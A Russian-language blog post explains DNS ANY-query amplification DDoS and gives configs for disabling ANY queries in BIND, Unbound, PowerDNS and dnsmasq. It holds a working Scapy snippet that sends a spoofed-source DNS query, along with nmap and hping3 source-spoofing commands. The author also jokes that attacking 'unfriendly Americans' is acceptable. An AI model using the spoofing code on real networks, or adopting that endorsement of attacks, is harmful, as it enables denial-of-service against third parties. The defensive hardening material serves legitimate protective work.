Как превратить DNS-сервер в пушку для DDoS-атаки

Опубликовано 9 апр. 2026 г.

В DNS есть такая прикольная штука, как ANY запрос, его суть — выдать тебе сразу все DNS записи по нужному домену.

Запрос вида:

dig chklst.ru ANY

Я встречал много Bash скриптов, которые на этом запросе завязаны, да чё греха таить, вчера буквально обратился товарищ (малваря-аналитик) с запросом — всё пропало, не работает, ааааа!!!

 читать первым в телеграм    читать первым в макс

Ошибка:

dig chklst.ru ANY

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; EDE: 21 (Not Supported): (Type ANY Queries not supported here, RFC8482)
;; QUESTION SECTION:

Хотя раньше всё работало из коробки и Bash скрипты вели себя предсказуемо. Но опять же, в зависимости от DNS сервера, результаты могли разница. Тебе могли отдать данные, которые в предыдущем запросе были совсем другими.

Логично. Провайдеры рано или поздно приходят к этому, начинают блокировать подобные запросы. Всё это связано с дидос атаками. Погоды эти ANY запросы не делают, но создают большую проблему и головную боль. Основная проблема — DDoS amplification.

Самый адекватный способ борьбы с этим — отключить всё нахуй и поломать возможный вектор атаки. Короче непредсказуемость ANY запроса это плохая практика. Запрос ANY никогда не был стандартизирован, «как получить всё».

Как работает вектор атаки:

Пытливая писька, отправляет короткий пакет:

dig chklst.ru ANY

Размер такого запроса около 60 байт. Но в ответ получает от DNS уже 500-1000 байт, а иногда еще больше. То есть, ответ в разы превышает запрос, что уже выглядит как хуйня ебаная. А еще атакующий может подставить в пакет IP (spoofing) жертвы и усилить атаку. Подобная атака усилится в 16 раз. Это называется amplification factor.

Роман Шубин
Роман Шубин
CEO & CTO, Главред в «Цифровой улей»
Задать вопрос
Я тут тебя не учу проводить подобные атаки, а разбираю их суть, поэтому если у тебя в голове созрел безумный план — это кривая дорожка, неровен час получишь поебалу. Короче на живых людях такое не делай, проводи эксперименты в своих домашних лабораториях. Ну либо тренируйся на недружественных пиндосах, на них можно, но аккуратно.

И по итогу получаем — один атакующий → тысячи DNS серверов → перегрузка жертвы.

Для провайдеров это критично, поэтому идут на крайние меры и банально гасят возможность пользоваться ANY запросами. Это правильно.

Как измерить amplification

dig +stats chklst.ru ANY

Посмотреть на поле: MSG SIZE rcvd и затем сравнить с запросом:

dig +stats chklst.ru A

В этом примере мы получили status: REFUSED, то есть провайдер уже заблочил ANY запросы и я получил всего 38 байт в ответе. А во втором запросе уже 54 байта. Адекватно! А теперь давай проверим домен, который подвержен подобным атакам:

Я хуй знает какой тебе показать, поэтому ёбнем запрос по петухам:

dig +stats rooster.usa ANY

Получаем MSG SIZE rcvd: 230, это уже что-то, получаем 230 байт. А если сделать:

dig +stats rooster.usa A

То получим вменяемые 62 байта. Разница хорошая. А если еще и подменить пакет и усилить атаку, то получится такая формула:

amplification = размер_ответа / размер_запроса

Допустим запрос ~60 байт, ответ ~1500 байт и получаем буст атаки в ≈ 25x.

На практике это может выглядеть так:

from scapy.all import *

target_dns = "8.8.8.8"
spoofed_ip = "1.2.3.4"
domain = "rooster.usa"

packet = IP(src=spoofed_ip, dst=target_dns)/UDP(sport=RandShort(), dport=53)/DNS(rd=1, qd=DNSQR(qname=domain))

send(packet)

print(f"Запрос отправлен от имени {spoofed_ip} на {target_dns}")

Либо как делают пентестеры:

nmap --script dns-brute --spoof-ip 1.2.3.4 <target_dns>
hping3 --udp -p 53 -a 1.2.3.4 -d 20 <target_dns>

Во всех случаях происходит вмешательство в отправляемый пакет. Если хочешь убедиться, можешь открыть wireshark и визуально глянуть что по итогу происходит. Обычно ничего хорошего.

Роман Шубин
Роман Шубин
CEO & CTO, Главред в «Цифровой улей»
Задать вопрос
Повторюсь. Использование этих инструментов в сетях, на которые у тебя нет разрешения, является незаконным. Все подобные действия должны проводиться в изолированной лабораторной среде. Примеры даны в рамках образовательной деятельности, для предотвращения подобных атак.

Как отключить ANY запросы

Всё довольно просто. Для разных решений, разные конфиги, приведу распространенные. Основная идея защиты — блокировать, не поддерживать, возвращать минимальный ответ.


BIND

В новых версиях это работает почти из коробки, оно не отдаёт полноценный ANY и полностью соответствует RFC 8482. Для всех остальных случаев:

Урезаем ответы, не даём раздуть ANY запрос:

options {
    minimal-responses yes;
};

Deny через Response Policy Zone (RPZ), жестко блокируем ANY запросы:

response-policy {
    zone "block-any";
};

zone "block-any" {
    type master;
    file "/etc/bind/db.block-any";
};

$TTL 60
@   IN  SOA localhost. root.localhost. (
        1 3600 600 86400 60 )

    IN  NS  localhost.

*   IN  CNAME .

Это решение сломает ответы на уровне политики.

Unbound

server:
    deny-any: yes

Тут вообще элементарно, никакой тебе еботы и ебли с приседаниями и ударами в бубен.

PowerDNS Recursor

disable-any=yes

Аналогично, впендюрил запрет и хуй забил. Но обычно в продакшене PowerDNS ты хер где найдешь, это какие-то точечные установки.

dnsmasq

Здесь интереснее, оно не умеет так делать, сильно ограничен. Но ANY ответ будет сразу неполноценным и вектор с amplification ты особо не провернешь.

Итоги:

Ну а какие тут итоги. Отключай ANY, либо ограничивай выдачу результатов. Предупрежден, значит вооружен. Отключение ANY-запросов это один из самых простых и эффективных способов снизить риск DNS amplification-атак без влияния на нормальную работу сервисов.

Демонстрация подмены IP-адреса наглядно показывает, насколько легко манипулировать сетевыми протоколами на низком уровне. Хотя сам по себе спуфинг не дает злоумышленнику контроля над сессией (так как ответ уходит «жертве»), он является критическим компонентом для проведения масштабных атак.

Использование ANY позволяет атакующему получить огромный объем данных (все записи зоны) одним пакетом, что превращает ваш DNS-сервер в помойку и в идеальный инструмент для DNS Amplification Attack. В результате жертва захлебывается в трафике, который генерируют твои же легитимные узлы.

Комментарии